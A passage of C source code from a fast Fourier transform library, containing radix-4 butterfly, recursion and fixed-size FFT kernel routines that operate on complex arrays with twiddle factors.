y1i = -a[j + 3] + a[j2 + 3];
x2r = a[j1] + a[j3];
x2i = a[j1 + 1] + a[j3 + 1];
x3r = a[j1] - a[j3];
x3i = a[j1 + 1] - a[j3 + 1];
y2r = a[j1 + 2] + a[j3 + 2];
y2i = a[j1 + 3] + a[j3 + 3];
y3r = a[j1 + 2] - a[j3 + 2];
y3i = a[j1 + 3] - a[j3 + 3];
a[j] = x0r + x2r;
a[j + 1] = x0i - x2i;
a[j + 2] = y0r + y2r;
a[j + 3] = y0i - y2i;
a[j1] = x0r - x2r;
a[j1 + 1] = x0i + x2i;
a[j1 + 2] = y0r - y2r;
a[j1 + 3] = y0i + y2i;
x0r = x1r + x3i;
x0i = x1i + x3r;
a[j2] = wk1r * x0r - wk1i * x0i;
a[j2 + 1] = wk1r * x0i + wk1i * x0r;
x0r = y1r + y3i;
x0i = y1i + y3r;
a[j2 + 2] = wd1r * x0r - wd1i * x0i;
a[j2 + 3] = wd1r * x0i + wd1i * x0r;
x0r = x1r - x3i;
x0i = x1i - x3r;
a[j3] = wk3r * x0r + wk3i * x0i;
a[j3 + 1] = wk3r * x0i - wk3i * x0r;
x0r = y1r - y3i;
x0i = y1i - y3r;
a[j3 + 2] = wd3r * x0r + wd3i * x0i;
a[j3 + 3] = wd3r * x0i - wd3i * x0r;
j0 = m - j;
j1 = j0 + m;
j2 = j1 + m;
j3 = j2 + m;
x0r = a[j0] + a[j2];
x0i = -a[j0 + 1] - a[j2 + 1];
x1r = a[j0] - a[j2];
x1i = -a[j0 + 1] + a[j2 + 1];
y0r = a[j0 - 2] + a[j2 - 2];
y0i = -a[j0 - 1] - a[j2 - 1];
y1r = a[j0 - 2] - a[j2 - 2];
y1i = -a[j0 - 1] + a[j2 - 1];
x2r = a[j1] + a[j3];
x2i = a[j1 + 1] + a[j3 + 1];
x3r = a[j1] - a[j3];
x3i = a[j1 + 1] - a[j3 + 1];
y2r = a[j1 - 2] + a[j3 - 2];
y2i = a[j1 - 1] + a[j3 - 1];
y3r = a[j1 - 2] - a[j3 - 2];
y3i = a[j1 - 1] - a[j3 - 1];
a[j0] = x0r + x2r;
a[j0 + 1] = x0i - x2i;
a[j0 - 2] = y0r + y2r;
a[j0 - 1] = y0i - y2i;
a[j1] = x0r - x2r;
a[j1 + 1] = x0i + x2i;
a[j1 - 2] = y0r - y2r;
a[j1 - 1] = y0i + y2i;
x0r = x1r + x3i;
x0i = x1i + x3r;
a[j2] = wk1i * x0r - wk1r * x0i;
a[j2 + 1] = wk1i * x0i + wk1r * x0r;
x0r = y1r + y3i;
x0i = y1i + y3r;
a[j2 - 2] = wd1i * x0r - wd1r * x0i;
a[j2 - 1] = wd1i * x0i + wd1r * x0r;
x0r = x1r - x3i;
x0i = x1i - x3r;
a[j3] = wk3i * x0r + wk3r * x0i;
a[j3 + 1] = wk3i * x0i - wk3r * x0r;
x0r = y1r - y3i;
x0i = y1i - y3r;
a[j3 - 2] = wd3i * x0r + wd3r * x0i;
a[j3 - 1] = wd3i * x0i - wd3r * x0r;
}
wk1r = csc1 * (wd1r + wn4r);
wk1i = csc1 * (wd1i + wn4r);
wk3r = csc3 * (wd3r - wn4r);
wk3i = csc3 * (wd3i - wn4r);
j0 = mh;
j1 = j0 + m;
j2 = j1 + m;
j3 = j2 + m;
x0r = a[j0 - 2] + a[j2 - 2];
x0i = -a[j0 - 1] - a[j2 - 1];
x1r = a[j0 - 2] - a[j2 - 2];
x1i = -a[j0 - 1] + a[j2 - 1];
x2r = a[j1 - 2] + a[j3 - 2];
x2i = a[j1 - 1] + a[j3 - 1];
x3r = a[j1 - 2] - a[j3 - 2];
x3i = a[j1 - 1] - a[j3 - 1];
a[j0 - 2] = x0r + x2r;
a[j0 - 1] = x0i - x2i;
a[j1 - 2] = x0r - x2r;
a[j1 - 1] = x0i + x2i;
x0r = x1r + x3i;
x0i = x1i + x3r;
a[j2 - 2] = wk1r * x0r - wk1i * x0i;
a[j2 - 1] = wk1r * x0i + wk1i * x0r;
x0r = x1r - x3i;
x0i = x1i - x3r;
a[j3 - 2] = wk3r * x0r + wk3i * x0i;
a[j3 - 1] = wk3r * x0i - wk3i * x0r;
x0r = a[j0] + a[j2];
x0i = -a[j0 + 1] - a[j2 + 1];
x1r = a[j0] - a[j2];
x1i = -a[j0 + 1] + a[j2 + 1];
x2r = a[j1] + a[j3];
x2i = a[j1 + 1] + a[j3 + 1];
x3r = a[j1] - a[j3];
x3i = a[j1 + 1] - a[j3 + 1];
a[j0] = x0r + x2r;
a[j0 + 1] = x0i - x2i;
a[j1] = x0r - x2r;
a[j1 + 1] = x0i + x2i;
x0r = x1r + x3i;
x0i = x1i + x3r;
a[j2] = wn4r * (x0r - x0i);
a[j2 + 1] = wn4r * (x0i + x0r);
x0r = x1r - x3i;
x0i = x1i - x3r;
a[j3] = -wn4r * (x0r + x0i);
a[j3 + 1] = -wn4r * (x0i - x0r);
x0r = a[j0 + 2] + a[j2 + 2];
x0i = -a[j0 + 3] - a[j2 + 3];
x1r = a[j0 + 2] - a[j2 + 2];
x1i = -a[j0 + 3] + a[j2 + 3];
x2r = a[j1 + 2] + a[j3 + 2];
x2i = a[j1 + 3] + a[j3 + 3];
x3r = a[j1 + 2] - a[j3 + 2];
x3i = a[j1 + 3] - a[j3 + 3];
a[j0 + 2] = x0r + x2r;
a[j0 + 3] = x0i - x2i;
a[j1 + 2] = x0r - x2r;
a[j1 + 3] = x0i + x2i;
x0r = x1r + x3i;
x0i = x1i + x3r;
a[j2 + 2] = wk1i * x0r - wk1r * x0i;
a[j2 + 3] = wk1i * x0i + wk1r * x0r;
x0r = x1r - x3i;
x0i = x1i - x3r;
a[j3 + 2] = wk3i * x0r + wk3r * x0i;
a[j3 + 3] = wk3i * x0i - wk3r * x0r;
}
void cftrec1(int n, REAL *a, int nw, REAL *w)
{
void cftrec1(int n, REAL *a, int nw, REAL *w);
void cftrec2(int n, REAL *a, int nw, REAL *w);
void cftmdl1(int n, REAL *a, REAL *w);
void cftexp1(int n, REAL *a, int nw, REAL *w);
int m;
m = n >> 2;
cftmdl1(n, a, &w[nw - 2 * m]);
if (n > CDFT_RECURSIVE_N) {
cftrec1(m, a, nw, w);
cftrec2(m, &a[m], nw, w);
cftrec1(m, &a[2 * m], nw, w);
cftrec1(m, &a[3 * m], nw, w);
} else {
cftexp1(n, a, nw, w);
}
}
void cftrec2(int n, REAL *a, int nw, REAL *w)
{
void cftrec1(int n, REAL *a, int nw, REAL *w);
void cftrec2(int n, REAL *a, int nw, REAL *w);
void cftmdl2(int n, REAL *a, REAL *w);
void cftexp2(int n, REAL *a, int nw, REAL *w);
int m;
m = n >> 2;
cftmdl2(n, a, &w[nw - n]);
if (n > CDFT_RECURSIVE_N) {
cftrec1(m, a, nw, w);
cftrec2(m, &a[m], nw, w);
cftrec1(m, &a[2 * m], nw, w);
cftrec2(m, &a[3 * m], nw, w);
} else {
cftexp2(n, a, nw, w);
}
}
void cftexp1(int n, REAL *a, int nw, REAL *w)
{
void cftmdl1(int n, REAL *a, REAL *w);
void cftmdl2(int n, REAL *a, REAL *w);
void cftfx41(int n, REAL *a, int nw, REAL *w);
void cftfx42(int n, REAL *a, int nw, REAL *w);
int j, k, l;
l = n >> 2;
while (l > 128) {
for (k = l; k < n; k <<= 2) {
for (j = k - l; j < n; j += 4 * k) {
cftmdl1(l, &a[j], &w[nw - (l >> 1)]);
cftmdl2(l, &a[k + j], &w[nw - l]);
cftmdl1(l, &a[2 * k + j], &w[nw - (l >> 1)]);
}
}
cftmdl1(l, &a[n - l], &w[nw - (l >> 1)]);
l >>= 2;
}
for (k = l; k < n; k <<= 2) {
for (j = k - l; j < n; j += 4 * k) {
cftmdl1(l, &a[j], &w[nw - (l >> 1)]);
cftfx41(l, &a[j], nw, w);
cftmdl2(l, &a[k + j], &w[nw - l]);
cftfx42(l, &a[k + j], nw, w);
cftmdl1(l, &a[2 * k + j], &w[nw - (l >> 1)]);
cftfx41(l, &a[2 * k + j], nw, w);
}
}
cftmdl1(l, &a[n - l], &w[nw - (l >> 1)]);
cftfx41(l, &a[n - l], nw, w);
}
void cftexp2(int n, REAL *a, int nw, REAL *w)
{
void cftmdl1(int n, REAL *a, REAL *w);
void cftmdl2(int n, REAL *a, REAL *w);
void cftfx41(int n, REAL *a, int nw, REAL *w);
void cftfx42(int n, REAL *a, int nw, REAL *w);
int j, k, l, m;
m = n >> 1;
l = n >> 2;
while (l > 128) {
for (k = l; k < m; k <<= 2) {
for (j = k - l; j < m; j += 2 * k) {
cftmdl1(l, &a[j], &w[nw - (l >> 1)]);
cftmdl1(l, &a[m + j], &w[nw - (l >> 1)]);
}
for (j = 2 * k - l; j < m; j += 4 * k) {
cftmdl2(l, &a[j], &w[nw - l]);
cftmdl2(l, &a[m + j], &w[nw - l]);
}
}
l >>= 2;
}
for (k = l; k < m; k <<= 2) {
for (j = k - l; j < m; j += 2 * k) {
cftmdl1(l, &a[j], &w[nw - (l >> 1)]);
cftfx41(l, &a[j], nw, w);
cftmdl1(l, &a[m + j], &w[nw - (l >> 1)]);
cftfx41(l, &a[m + j], nw, w);
}
for (j = 2 * k - l; j < m; j += 4 * k) {
cftmdl2(l, &a[j], &w[nw - l]);
cftfx42(l, &a[j], nw, w);
cftmdl2(l, &a[m + j], &w[nw - l]);
cftfx42(l, &a[m + j], nw, w);
}
}
}
void cftmdl1(int n, REAL *a, REAL *w)
{
int j, j0, j1, j2, j3, k, m, mh;
REAL wn4r, wk1r, wk1i, wk3r, wk3i;
REAL x0r, x0i, x1r, x1i, x2r, x2i, x3r, x3i;
mh = n >> 3;
m = 2 * mh;
j1 = m;
j2 = j1 + m;
j3 = j2 + m;
x0r = a[0] + a[j2];
x0i = a[1] + a[j2 + 1];
x1r = a[0] - a[j2];
x1i = a[1] - a[j2 + 1];
x2r = a[j1] + a[j3];
x2i = a[j1 + 1] + a[j3 + 1];
x3r = a[j1] - a[j3];
x3i = a[j1 + 1] - a[j3 + 1];
a[0] = x0r + x2r;
a[1] = x0i + x2i;
a[j1] = x0r - x2r;
a[j1 + 1] = x0i - x2i;
a[j2] = x1r - x3i;
a[j2 + 1] = x1i + x3r;
a[j3] = x1r + x3i;
a[j3 + 1] = x1i - x3r;
wn4r = w[1];
k = 0;
for (j = 2; j < mh; j += 2) {
k += 4;
wk1r = w[k];
wk1i = w[k + 1];
wk3r = w[k + 2];
wk3i = -w[k + 3];
j1 = j + m;
j2 = j1 + m;
j3 = j2 + m;
x0r = a[j] + a[j2];
x0i = a[j + 1] + a[j2 + 1];
x1r = a[j] - a[j2];
x1i = a[j + 1] - a[j2 + 1];
x2r = a[j1] + a[j3];
x2i = a[j1 + 1] + a[j3 + 1];
x3r = a[j1] - a[j3];
x3i = a[j1 + 1] - a[j3 + 1];
a[j] = x0r + x2r;
a[j + 1] = x0i + x2i;
a[j1] = x0r - x2r;
a[j1 + 1] = x0i - x2i;
x0r = x1r - x3i;
x0i = x1i + x3r;
a[j2] = wk1r * x0r - wk1i * x0i;
a[j2 + 1] = wk1r * x0i + wk1i * x0r;
x0r = x1r + x3i;
x0i = x1i - x3r;
a[j3] = wk3r * x0r + wk3i * x0i;
a[j3 + 1] = wk3r * x0i - wk3i * x0r;
j0 = m - j;
j1 = j0 + m;
j2 = j1 + m;
j3 = j2 + m;
x0r = a[j0] + a[j2];
x0i = a[j0 + 1] + a[j2 + 1];
x1r = a[j0] - a[j2];
x1i = a[j0 + 1] - a[j2 + 1];
x2r = a[j1] + a[j3];
x2i = a[j1 + 1] + a[j3 + 1];
x3r = a[j1] - a[j3];
x3i = a[j1 + 1] - a[j3 + 1];
a[j0] = x0r + x2r;
a[j0 + 1] = x0i + x2i;
a[j1] = x0r - x2r;
a[j1 + 1] = x0i - x2i;
x0r = x1r - x3i;
x0i = x1i + x3r;
a[j2] = wk1i * x0r - wk1r * x0i;
a[j2 + 1] = wk1i * x0i + wk1r * x0r;
x0r = x1r + x3i;
x0i = x1i - x3r;
a[j3] = wk3i * x0r + wk3r * x0i;
a[j3 + 1] = wk3i * x0i - wk3r * x0r;
}
j0 = mh;
j1 = j0 + m;
j2 = j1 + m;
j3 = j2 + m;
x0r = a[j0] + a[j2];
x0i = a[j0 + 1] + a[j2 + 1];
x1r = a[j0] - a[j2];
x1i = a[j0 + 1] - a[j2 + 1];
x2r = a[j1] + a[j3];
x2i = a[j1 + 1] + a[j3 + 1];
x3r = a[j1] - a[j3];
x3i = a[j1 + 1] - a[j3 + 1];
a[j0] = x0r + x2r;
a[j0 + 1] = x0i + x2i;
a[j1] = x0r - x2r;
a[j1 + 1] = x0i - x2i;
x0r = x1r - x3i;
x0i = x1i + x3r;
a[j2] = wn4r * (x0r - x0i);
a[j2 + 1] = wn4r * (x0i + x0r);
x0r = x1r + x3i;
x0i = x1i - x3r;
a[j3] = -wn4r * (x0r + x0i);
a[j3 + 1] = -wn4r * (x0i - x0r);
}
void cftmdl2(int n, REAL *a, REAL *w)
{
int j, j0, j1, j2, j3, k, kr, m, mh;
REAL wn4r, wk1r, wk1i, wk3r, wk3i, wd1r, wd1i, wd3r, wd3i;
REAL x0r, x0i, x1r, x1i, x2r, x2i, x3r, x3i, y0r, y0i, y2r, y2i;
mh = n >> 3;
m = 2 * mh;
wn4r = w[1];
j1 = m;
j2 = j1 + m;
j3 = j2 + m;
x0r = a[0] - a[j2 + 1];
x0i = a[1] + a[j2];
x1r = a[0] + a[j2 + 1];
x1i = a[1] - a[j2];
x2r = a[j1] - a[j3 + 1];
x2i = a[j1 + 1] + a[j3];
x3r = a[j1] + a[j3 + 1];
x3i = a[j1 + 1] - a[j3];
y0r = wn4r * (x2r - x2i);
y0i = wn4r * (x2i + x2r);
a[0] = x0r + y0r;
a[1] = x0i + y0i;
a[j1] = x0r - y0r;
a[j1 + 1] = x0i - y0i;
y0r = wn4r * (x3r - x3i);
y0i = wn4r * (x3i + x3r);
a[j2] = x1r - y0i;
a[j2 + 1] = x1i + y0r;
a[j3] = x1r + y0i;
a[j3 + 1] = x1i - y0r;
k = 0;
kr = 2 * m;
for (j = 2; j < mh; j += 2) {
k += 4;
wk1r = w[k];
wk1i = w[k + 1];
wk3r = w[k + 2];
wk3i = -w[k + 3];
kr -= 4;
wd1i = w[kr];
wd1r = w[kr + 1];
wd3i = w[kr + 2];
wd3r = -w[kr + 3];
j1 = j + m;
j2 = j1 + m;
j3 = j2 + m;
x0r = a[j] - a[j2 + 1];
x0i = a[j + 1] + a[j2];
x1r = a[j] + a[j2 + 1];
x1i = a[j + 1] - a[j2];
x2r = a[j1] - a[j3 + 1];
x2i = a[j1 + 1] + a[j3];
x3r = a[j1] + a[j3 + 1];
x3i = a[j1 + 1] - a[j3];
y0r = wk1r * x0r - wk1i * x0i;
y0i = wk1r * x0i + wk1i * x0r;
y2r = wd1r * x2r - wd1i * x2i;
y2i = wd1r * x2i + wd1i * x2r;
a[j] = y0r + y2r;
a[j + 1] = y0i + y2i;
a[j1] = y0r - y2r;
a[j1 + 1] = y0i - y2i;
y0r = wk3r * x1r + wk3i * x1i;
y0i = wk3r * x1i - wk3i * x1r;
y2r = wd3r * x3r + wd3i * x3i;
y2i = wd3r * x3i - wd3i * x3r;
a[j2] = y0r + y2r;
a[j2 + 1] = y0i + y2i;
a[j3] = y0r - y2r;
a[j3 + 1] = y0i - y2i;
j0 = m - j;
j1 = j0 + m;
j2 = j1 + m;
j3 = j2 + m;
x0r = a[j0] - a[j2 + 1];
x0i = a[j0 + 1] + a[j2];
x1r = a[j0] + a[j2 + 1];
x1i = a[j0 + 1] - a[j2];
x2r = a[j1] - a[j3 + 1];
x2i = a[j1 + 1] + a[j3];
x3r = a[j1] + a[j3 + 1];
x3i = a[j1 + 1] - a[j3];
y0r = wd1i * x0r - wd1r * x0i;
y0i = wd1i * x0i + wd1r * x0r;
y2r = wk1i * x2r - wk1r * x2i;
y2i = wk1i * x2i + wk1r * x2r;
a[j0] = y0r + y2r;
a[j0 + 1] = y0i + y2i;
a[j1] = y0r - y2r;
a[j1 + 1] = y0i - y2i;
y0r = wd3i * x1r + wd3r * x1i;
y0i = wd3i * x1i - wd3r * x1r;
y2r = wk3i * x3r + wk3r * x3i;
y2i = wk3i * x3i - wk3r * x3r;
a[j2] = y0r + y2r;
a[j2 + 1] = y0i + y2i;
a[j3] = y0r - y2r;
a[j3 + 1] = y0i - y2i;
}
wk1r = w[m];
wk1i = w[m + 1];
j0 = mh;
j1 = j0 + m;
j2 = j1 + m;
j3 = j2 + m;
x0r = a[j0] - a[j2 + 1];
x0i = a[j0 + 1] + a[j2];
x1r = a[j0] + a[j2 + 1];
x1i = a[j0 + 1] - a[j2];
x2r = a[j1] - a[j3 + 1];
x2i = a[j1 + 1] + a[j3];
x3r = a[j1] + a[j3 + 1];
x3i = a[j1 + 1] - a[j3];
y0r = wk1r * x0r - wk1i * x0i;
y0i = wk1r * x0i + wk1i * x0r;
y2r = wk1i * x2r - wk1r * x2i;
y2i = wk1i * x2i + wk1r * x2r;
a[j0] = y0r + y2r;
a[j0 + 1] = y0i + y2i;
a[j1] = y0r - y2r;
a[j1 + 1] = y0i - y2i;
y0r = wk1i * x1r - wk1r * x1i;
y0i = wk1i * x1i + wk1r * x1r;
y2r = wk1r * x3r - wk1i * x3i;
y2i = wk1r * x3i + wk1i * x3r;
a[j2] = y0r - y2r;
a[j2 + 1] = y0i - y2i;
a[j3] = y0r + y2r;
a[j3 + 1] = y0i + y2i;
}
void cftfx41(int n, REAL *a, int nw, REAL *w)
{
void cftf161(REAL *a, REAL *w);
void cftf162(REAL *a, REAL *w);
void cftf081(REAL *a, REAL *w);
void cftf082(REAL *a, REAL *w);
if (n == 128) {
cftf161(a, &w[nw - 8]);
cftf162(&a[32], &w[nw - 32]);
cftf161(&a[64], &w[nw - 8]);
cftf161(&a[96], &w[nw - 8]);
} else {
cftf081(a, &w[nw - 16]);
cftf082(&a[16], &w[nw - 16]);
cftf081(&a[32], &w[nw - 16]);
cftf081(&a[48], &w[nw - 16]);
}
}
void cftfx42(int n, REAL *a, int nw, REAL *w)
{
void cftf161(REAL *a, REAL *w);
void cftf162(REAL *a, REAL *w);
void cftf081(REAL *a, REAL *w);
void cftf082(REAL *a, REAL *w);
if (n == 128) {
cftf161(a, &w[nw - 8]);
cftf162(&a[32], &w[nw - 32]);
cftf161(&a[64], &w[nw - 8]);
cftf162(&a[96], &w[nw - 32]);
} else {
cftf081(a, &w[nw - 16]);
cftf082(&a[16], &w[nw - 16]);
cftf081(&a[32], &w[nw - 16]);
cftf082(&a[48], &w[nw - 16]);
}
}
void cftf161(REAL *a, REAL *w)
{
REAL wn4r, wk1r, wk1i,
x0r, x0i, x1r, x1i, x2r, x2i, x3r, x3i,
y0r, y0i, y1r, y1i, y2r, y2i, y3r, y3i,
y4r, y4i, y5r, y5i, y6r, y6i, y7r, y7i,
y8r, y8i, y9r, y9i, y10r, y10i, y11r, y11i,
y12r, y12i, y13r, y13i, y14r, y14i, y15r, y15i;
wn4r = w[1];
wk1i = wn4r * w[2];
wk1r = wk1i + w[2];
x0r = a[0] + a[16];
x0i = a[1] + a[17];
x1r = a[0] - a[16];
x1i = a[1] - a[17];
x2r = a[8] + a[24];
x2i = a[9] + a[25];
x3r = a[8] - a[24];
x3i = a[9] - a[25];
y0r = x0r + x2r;
y0i = x0i + x2i;
y4r = x0r - x2r;
y4i = x0i - x2i;
y8r = x1r - x3i;
y8i = x1i + x3r;
y12r = x1r + x3i;
y12i = x1i - x3r;
x0r = a[2] + a[18];
x0i = a[3] + a[19];
x1r = a[2] - a[18];
x1i = a[3] - a[19];
x2r = a[10] + a[26];
x2i = a[11] + a[27];
x3r = a[10] - a[26];
x3i = a[11] - a[27];
y1r = x0r + x2r;
y1i = x0i + x2i;
y5r = x0r - x2r;
y5i = x0i - x2i;
x0r = x1r - x3i;
x0i = x1i + x3r;
y9r = wk1r * x0r - wk1i * x0i;
y9i = wk1r * x0i + wk1i * x0r;
x0r = x1r + x3i;
x0i = x1i - x3r;
y13r = wk1i * x0r - wk1r * x0i;
y13i = wk1i * x0i + wk1r * x0r;
x0r = a[4] + a[20];
x0i = a[5] + a[21];
x1r = a[4] - a[20];
x1i = a[5] - a[21];
x2r = a[12] + a[28];
x2i = a[13] + a[29];
x3r = a[12] - a[28];
x3i = a[13] - a[29];
y2r = x0r + x2r;
y2i = x0i + x2i;
y6r = x0r - x2r;
y6i = x0i - x2i;
x0r = x1r - x3i;
x0i = x1i + x3r;
y10r = wn4r * (x0r - x0i);
y10i = wn4r * (x0i + x0r);
x0r = x1r + x3i;
x0i = x1i - x3r;
y14r = wn4r * (x0r + x0i);
y14i = wn4r * (x0i - x0r);
x0r = a[6] + a[22];
x0i = a[7] + a[23];
x1r = a[6] - a[22];
x1i = a[7] - a[23];
x2r = a[14] + a[30];
x2i = a[15] + a[31];
x3r = a[14] - a[30];
x3i = a[15] - a[31];
y3r = x0r + x2r;
y3i = x0i + x2i;
y7r = x0r - x2r;
y7i = x0i - x2i;
x0r = x1r - x3i;
x0i = x1i + x3r;
y11r = wk1i * x0r - wk1r * x0i;
y11i = wk1i * x0i + wk1r * x0r;
x0r = x1r + x3i;
x0i = x1i - x3r;
y15r = wk1r * x0r - wk1i * x0i;
y15i = wk1r * x0i + wk1i * x0r;
x0r = y12r - y14r;
x0i = y12i - y14i;
x1r = y12r + y14r;
x1i = y12i + y14i;
x2r = y13r - y15r;
x2i = y13i - y15i;
x3r = y13r + y15r;
x3i = y13i + y15i;
a[24] = x0r + x2r;
a[25] = x0i + x2i;
a[26] = x0r - x2r;
a[27] = x0i - x2i;
a[28] = x1r - x3i;
a[29] = x1i + x3r;
a[30] = x1r + x3i;
a[31] = x1i - x3r;
x0r = y8r + y10r;
x0i = y8i + y10i;
x1r = y8r - y10r;
x1i = y8i - y10i;
x2r = y9r + y11r;
x2i = y9i + y11i;
x3r = y9r - y11r;
x3i = y9i - y11i;
a[16] = x0r + x2r;
a[17] = x0i + x2i;
a[18] = x0r - x2r;
a[19] = x0i - x2i;
a[20] = x1r - x3i;
a[21] = x1i + x3r;
a[22] = x1r + x3i;
a[23] = x1i - x3r;
x0r = y5r - y7i;
x0i = y5i + y7r;
x2r = wn4r * (x0r - x0i);
x2i = wn4r * (x0i + x0r);
x0r = y5r + y7i;
x0i = y5i - y7r;
x3r = wn4r * (x0r - x0i);
x3i = wn4r * (x0i + x0r);
x0r = y4r - y6i;
x0i = y4i + y6r;
x1r = y4r + y6i;
x1i = y4i - y6r;
a[8] = x0r + x2r;
a[9] = x0i + x2i;
a[10] = x0r - x2r;
a[11] = x0i - x2i;
a[12] = x1r - x3i;
a[13] = x1i + x3r;
a[14] = x1r + x3i;
a[15] = x1i - x3r;
x0r = y0r + y2r;
x0i = y0i + y2i;
x1r = y0r - y2r;
x1i = y0i - y2i;
x2r = y1r + y3r;
x2i = y1i + y3i;
x3r = y1r - y3r;
x3i = y1i - y3i;
a[0] = x0r + x2r;
a[1] = x0i + x2i;
a[2] = x0r - x2r;
a[3] = x0i - x2i;
a[4] = x1r - x3i;
a[5] = x1i + x3r;
a[6] = x1r + x3i;
a[7] = x1i - x3r;
}
void cftf162(REAL *a, REAL *w)
{
REAL wn4r, wk1r, wk1i, wk2r, wk2i, wk3r, wk3i,
x0r, x0i, x1r, x1i, x2r, x2i,
y0r, y0i, y1r, y1i, y2r, y2i, y3r, y3i,
y4r, y4i, y5r, y5i, y6r, y6i, y7r, y7i,
y8r, y8i, y9r, y9i, y10r, y10i, y11r, y11i,
y12r, y12i, y13r, y13i, y14r, y14i, y15r, y15i;
wn4r = w[1];
wk1r = w[4];
wk1i = w[5];
wk3r = w[6];
wk3i = w[7];
wk2r = w[8];
wk2i = w[9];
x1r = a[0] - a[17];
x1i = a[1] + a[16];
x0r = a[8] - a[25];
x0i = a[9] + a[24];
x2r = wn4r * (x0r - x0i);
x2i = wn4r * (x0i + x0r);
y0r = x1r + x2r;
y0i = x1i + x2i;
y4r = x1r - x2r;
y4i = x1i - x2i;
x1r = a[0] + a[17];
x1i = a[1] - a[16];
x0r = a[8] + a[25];
x0i = a[9] - a[24];
x2r = wn4r * (x0r - x0i);
x2i = wn4r * (x0i + x0r);
y8r = x1r - x2i;
y8i = x1i + x2r;
y12r = x1r + x2i;
y12i = x1i - x2r;
x0r = a[2] - a[19];
x0i = a[3] + a[18];
x1r = wk1r * x0r - wk1i * x0i;
x1i = wk1r * x0i + wk1i * x0r;
x0r = a[10] - a[27];
x0i = a[11] + a[26];
x2r = wk3i * x0r - wk3r * x0i;
x2i = wk3i * x0i + wk3r * x0r;
y1r = x1r + x2r;
y1i = x1i + x2i;
y5r = x1r - x2r;
y5i = x1i - x2i;
x0r = a[2] + a[19];
x0i = a[3] - a[18];
x1r = wk3r * x0r - wk3i * x0i;
x1i = wk3r * x0i + wk3i * x0r;
x0r = a[10] + a[27];
x0i = a[11] - a[26];
x2r = wk1r * x0r + wk1i * x0i;
x2i = wk1r * x0i - wk1i * x0r;
y9r = x1r - x2r;
y9i = x1i - x2i;
y13r = x1r + x2r;
y13i = x1i + x2i;
x0r = a[4] - a[21];
x0i = a[5] + a[20];
x1r = wk2r * x0r - wk2i * x0i;
x1i = wk2r * x0i + wk2i * x0r;
x0r = a[12] - a[29];
x0i = a[13] + a[28];
x2r = wk2i * x0r - wk2r * x0i;
x2i = wk2i * x0i + wk2r * x0r;
y2r = x1r + x2r;
y2i = x1i + x2i;
y6r = x1r - x2r;
y6i = x1i - x2i;
x0r = a[4] + a[21];
x0i = a[5] - a[20];
x1r = wk2i * x0r - wk2r * x0i;
x1i = wk2i * x0i + wk2r * x0r;
x0r = a[12] + a[29];
x0i = a[13] - a[28];
x2r = wk2r * x0r - wk2i * x0i;
x2i = wk2r * x0i + wk2i * x0r;
y10r = x1r - x2r;
y10i = x1i - x2i;
y14r = x1r + x2r;
y14i = x1i + x2i;
x0r = a[6] - a[23];
x0i = a[7] + a[22];
x1r = wk3r * x0r - wk3i * x0i;
x1i = wk3r * x0i + wk3i * x0r;
x0r = a[14] - a[31];
x0i = a[15] + a[30];
x2r = wk1i * x0r - wk1r * x0i;
x2i = wk1i * x0i + wk1r * x0r;
y3r = x1r + x2r;
y3i = x1i + x2i;
y7r = x1r - x2r;
y7i = x1i - x2i;
x0r = a[6] + a[23];
x0i = a[7] - a[22];
x1r = wk1i * x0r + wk1r * x0i;
x1i = wk1i * x0i - wk1r * x0r;
x0r = a[14] + a[31];
x0i = a[15] - a[30];
x2r = wk3i * x0r - wk3r * x0i;
x2i = wk3i * x0i + wk3r * x0r;
y11r = x1r + x2r;
y11i = x1i + x2i;
y15r = x1r - x2r;
y15i = x1i - x2i;
x1r = y0r + y2r;
x1i = y0i + y2i;
x2r = y1r + y3r;
x2i = y1i + y3i;
a[0] = x1r + x2r;
a[1] = x1i + x2i;
a[2] = x1r - x2r;
a[3] = x1i - x2i;
x1r = y0r - y2r;
x1i = y0i - y2i;
x2r = y1r - y3r;
x2i = y1i - y3i;
a[4] = x1r - x2i;
a[5] = x1i + x2r;
a[6] = x1r + x2i;
a[7] = x1i - x2r;
x1r = y4r - y6i;
x1i = y4i + y6r;
x0r = y5r - y7i;
x0i = y5i + y7r;
x2r = wn4r * (x0r - x0i);
x2i = wn4r * (x0i + x0r);
a[8] = x1r + x2r;
a[9] = x1i + x2i;
a[10] = x1r - x2r;
a[11] = x1i - x2i;
x1r = y4r + y6i;
x1i = y4i - y6r;
x0r = y5r + y7i;
x0i = y5i - y7r;
x2r = wn4r * (x0r - x0i);
x2i = wn4r * (x0i + x0r);
a[12] = x1r - x2i;
a[13] = x1i + x2r;
a[14] = x1r + x2i;
a[15] = x1i - x2r;
x1r = y8r + y10r;
x1i = y8i + y10i;
x2r = y9r - y11r;
x2i = y9i - y11i;
a[16] = x1r + x2r;
a[17] = x1i + x2i;
a[18] = x1r - x2r;
a[19] = x1i - x2i;
x1r = y8r - y10r;
x1i = y8i - y10i;
x2r = y9r + y11r;
x2i = y9i + y11i;
a[20] = x1r - x2i;
a[21] = x1i + x2r;
a[22] = x1r + x2i;
a[23] = x1i - x2r;
x1r = y12r - y14i;
x1i = y12i + y14r;
x0r = y13r + y15i;
x0i = y13i - y15r;
x2r = wn4r * (x0r - x0i);
x2i = wn4r * (x0i + x0r);
a[24] = x1r + x2r;
a[25] = x1i + x2i;
a[26] = x1r - x2r;
a[27] = x1i - x2i;
x1r = y12r + y14i;
x1i = y12i - y14r;
x0r = y13r - y15i;
x0i = y13i + y15r;
x2r = wn4r * (x0r - x0i);
x2i = wn4r * (x0i + x0r);
a[28] = x1r - x2i;
a[29] = x1i + x2r;
a[30] = x1r + x2i;
a[31] = x1i - x2r;
}
void cftf081(REAL *a, REAL *w)
{
REAL wn4r, x0r, x0i, x1r, x1i, x2r, x2i, x3r, x3i,
y0r, y0i, y1r, y1i, y2r, y2i, y3r, y3i,
y4r, y4i, y5r, y5i, y6r, y6i, y7r, y7i;
wn4r = w[1];
x0r = a[0] + a[8];
x0i = a[1] + a[9];
x1r = a[0] - a[8];
x1i = a[1] - a[9];
x2r = a[4] + a[12];
x2i = a[5] + a[13];
x3r = a[4] - a[12];
x3i = a[5] - a[13];
y0r = x0r + x2r;
y0i = x0i + x2i;
y2r = x0r - x2r;
y2i = x0i - x2i;
y1r = x1r - x3i;
y1i = x1i + x3r;
y3r = x1r + x3i;
y3i = x1i - x3r;
x0r = a[2] + a[10];
x0i = a[3] + a[11];
x1r = a[2] - a[10];
x1i = a[3] - a[11];
x2r = a[6] + a[14];
x2i = a[7] + a[15];
x3r = a[6] - a[14];
x3i = a[7] - a[15];
y4r = x0r + x2r;
y4i = x0i + x2i;
y6r = x0r - x2r;
